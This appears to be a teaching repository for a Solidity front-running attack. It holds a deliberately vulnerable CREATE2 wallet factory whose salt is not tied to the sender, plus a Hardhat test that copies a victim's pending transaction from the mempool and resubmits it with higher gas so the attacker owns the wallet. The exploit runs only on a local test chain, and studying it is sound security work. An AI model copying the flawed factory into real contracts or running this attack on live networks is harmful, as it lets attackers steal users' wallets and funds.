├── .gitignore ├── README.md ├── contracts ├── FactoryContract.sol └── Wallet.sol ├── hardhat.config.js ├── package-lock.json ├── package.json └── test └── test.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | # Hardhat files 9 | cache 10 | artifacts 11 | 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Perform Front-Running attack 2 | 3 | ## Technology Stack & Dependencies 4 | 5 | - Solidity (Writing Smart Contract) 6 | - Javascript (Game interaction) 7 | - [NodeJS](https://nodejs.org/en/) To create hardhat project and install dependencies using npm 8 | 9 | 10 | ### 1. Clone/Download the Repository 11 | 12 | ### 2. Install Dependencies: 13 | ``` 14 | npm install 15 | ``` 16 | 17 | ### 3. Perfrom the attack by running the test 18 | ``` 19 | npx hardhat test 20 | ``` 21 | -------------------------------------------------------------------------------- /contracts/FactoryContract.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "./Wallet.sol"; 5 | 6 | contract FactoryContract { 7 | mapping(address => address) public walletOwner; 8 | 9 | function deployWallet(bytes32 salt) 10 | internal 11 | returns (address instance) 12 | { 13 | require(walletOwner[msg.sender] == address(0), "You already have a wallet"); 14 | bytes memory bytecode = type(Wallet).creationCode; 15 | assembly { 16 | instance := create2(0, add(bytecode, 0x20), mload(bytecode), salt) 17 | } 18 | require(instance != address(0), "ERC1167: create2 failed"); 19 | walletOwner[msg.sender] = instance; 20 | } 21 | 22 | function createWallet( 23 | bytes32 _salt 24 | ) 25 | external 26 | returns (address walletAddress) 27 | { 28 | walletAddress = deployWallet(_salt); 29 | Wallet(walletAddress).initialize(msg.sender); 30 | } 31 | } -------------------------------------------------------------------------------- /contracts/Wallet.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; 7 | 8 | contract Wallet is Ownable{ 9 | using SafeERC20 for IERC20; 10 | mapping(address => mapping(address => uint256)) public balances; 11 | bool public initialized; 12 | 13 | function initialize(address owner) public{ 14 | require(!initialized, 'Already initialized'); 15 | initialized = true; 16 | _transferOwnership(owner); 17 | } 18 | 19 | function deposit(address token, uint256 amount) public payable { 20 | if (token == address(0)) { 21 | balances[msg.sender][token] += msg.value; 22 | } else { 23 | IERC20(token).safeTransferFrom(msg.sender, address(this), amount); 24 | balances[msg.sender][token] += amount; 25 | } 26 | } 27 | 28 | function withdraw(address token, uint256 amount) public onlyOwner{ 29 | if(token == address(0)){ 30 | (bool sent, ) = msg.sender.call{value: amount}(""); 31 | require(sent, "Failed to send Ether"); 32 | }else{ 33 | IERC20(token).safeTransfer(msg.sender, amount); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomicfoundation/hardhat-toolbox"); 2 | 3 | /** @type import('hardhat/config').HardhatUserConfig */ 4 | module.exports = { 5 | solidity: "0.8.18", 6 | networks: { 7 | hardhat: { 8 | mining: { 9 | auto: false, 10 | interval: 1000, 11 | }, 12 | } 13 | } 14 | }; 15 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "create2-frontrunning", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "devDependencies": { 13 | "@nomicfoundation/hardhat-toolbox": "^2.0.2", 14 | "@openzeppelin/contracts": "^4.8.3", 15 | "hardhat": "^2.14.0" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /test/test.js: -------------------------------------------------------------------------------- 1 | const { expect } = require('chai'); 2 | const { ethers } = require('hardhat'); 3 | const 4 | {abi:WalletContractAbi} 5 | = require('../artifacts/contracts/Wallet.sol/Wallet.json'); 6 | 7 | describe('Frontrunning attack', () => { 8 | let owner, alice, attacker, factory; 9 | 10 | before(async () => { 11 | [owner, alice, attacker] = await ethers.getSigners(); 12 | const Factory = await ethers.getContractFactory('FactoryContract'); 13 | factory = await Factory.connect(owner).deploy(); 14 | }); 15 | 16 | it('Perform the Frontrunning Attack', async () => { 17 | const salt = ethers.utils.keccak256(ethers.utils.toUtf8Bytes('Something')); 18 | 19 | await factory.connect(alice).createWallet(salt); 20 | 21 | // getting all the txs in mempool 22 | const txs = await ethers.provider.send('eth_getBlockByNumber', [ 23 | 'pending', 24 | true, 25 | ]); 26 | 27 | // finding the tx 28 | const tx = txs.transactions.find( 29 | (tx) => tx.to === factory.address.toLowerCase() 30 | ); 31 | 32 | // Send tx with more gas 33 | await attacker.sendTransaction({ 34 | to: tx.to, 35 | data: tx.input, 36 | gasPrice: ethers.BigNumber.from(tx.gasPrice).add(100), 37 | gasLimit: ethers.BigNumber.from(tx.gas).add(100000), 38 | }); 39 | 40 | // Mine all the transactions 41 | await ethers.provider.send('evm_mine', []); 42 | 43 | const addressOfWallet = await factory.walletOwner(attacker.address); 44 | const wallet = await ethers.getContractAt( 45 | WalletContractAbi, 46 | addressOfWallet, 47 | attacker 48 | ); 49 | 50 | await ethers.provider.send('evm_mine', []); 51 | 52 | expect(await factory.walletOwner(alice.address)).to.eq(ethers.constants.AddressZero); 53 | expect(await wallet.owner()).to.eq(attacker.address); 54 | expect(await wallet.initialized()).to.eq(true) 55 | }); 56 | }); 57 | --------------------------------------------------------------------------------